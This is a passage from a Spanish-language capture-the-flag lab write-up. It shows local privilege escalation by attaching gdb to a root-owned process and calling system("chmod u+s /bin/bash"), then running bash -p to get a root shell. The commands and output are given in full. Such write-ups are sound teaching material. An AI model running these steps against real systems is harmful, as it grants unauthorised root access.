root         929  0.0  0.1   5648  2944 ?        S    Aug05   0:06 bash /root/service_check.sh

...

Luego nos enlazamos con gdb y el respectivo PID del proceso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
developer@faculty:~$ gdb -p 724                                                
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2                                             
Copyright (C) 2020 Free Software Foundation, Inc.                  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.                    
There is NO WARRANTY, to the extent permitted by law.                                 
Type "show copying" and "show warranty" for details.                                                                                                                        
This GDB was configured as "x86_64-linux-gnu".                                        
Type "show configuration" for configuration details.                                                                                                                        
For bug reporting instructions, please see:                     
<http://www.gnu.org/software/gdb/bugs/>.                                                                                                                                    
Find the GDB manual and other documentation resources online at:                                                                                                            
    <http://www.gnu.org/software/gdb/documentation/>.                                                                                                                       
                                                                                                                                                                            
For help, type "help".                                                                                                                                                      
Type "apropos word" to search for commands related to "word".         
Attaching to process 724                                                              
Reading symbols from /usr/bin/python3.8...                                                                                                                                  
(No debugging symbols found in /usr/bin/python3.8)                                                                                                                          
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...                       
--Type <RET> for more, q to quit, c to continue without paging--                                                                                                            
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...

...

Reading symbols from /lib/x86_64-linux-gnu/libbz2.so.1.0...
(No debugging symbols found in /lib/x86_64-linux-gnu/libbz2.so.1.0)
Reading symbols from /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so)
0x00007f60d12c3967 in __GI___poll (fds=0xbd2a60, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29      ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
(gdb)

Al ejecutar observamos que se leen diversas librerias de los programas que forman parte en el proceso. Entonces usando el comando info function <reg_expresion> podemos buscar las funciones disponibles del programa en cuestión:

Buscamos funciones con la expresion system con el propósito de poder ejecutar comandos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) info function system
All functions matching regular expression "system":

File ../sysdeps/posix/system.c: <------------------------- C file!
197:    int __libc_system(const char *);
102:    static int do_system(const char *);

File pt-system.c:
38:     static int system_compat(const char *);

File svc.c:
309:    void __GI_svcerr_systemerr(SVCXPRT *);

Non-debugging symbols:
0x0000000000425530  system@plt
0x00007f60d0a42180  g_mem_is_system_malloc
0x00007f60d0a73d60  g_get_system_data_dirs

...

Buscando el archivo con su ruta relativa, encontramos que es una librería estándar de C que nos permite ejecutar subprocesos o comandos en el Sistema Operativo. Además pertenece a Glibc que es una librería central del sistema en C y es esencial en la mayoría de programas

Entonces llamamos a la función system con el comando call system("<command>")

1
2
3
4
5
6
(gdb) call system("chmod u+s /bin/bash")
[Detaching after vfork from child process 42640]
$4 = 0      <--------- successful process
(gdb) call system("wrong command")
[Detaching after vfork from child process 42653]
$5 = 32512  <--------- unsuccessful process

Solo asignamos a la bash permisos SUID para poder ejecutarlo como el propietario (root)

Por último usamos el comando shell para obtener una consola, usamos bash -p para ejecutar la bash como el propietario y ser root

1
2
3
4
5
6
7
8
(gdb) shell
bash-5.0$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 11:14 /bin/bash
bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# find / -name root.txt | xargs ls -l
-rw-r----- 1 root root 33 Aug  5 06:54 /root/root.txt
This post is licensed under CC BY 4.0 by the author.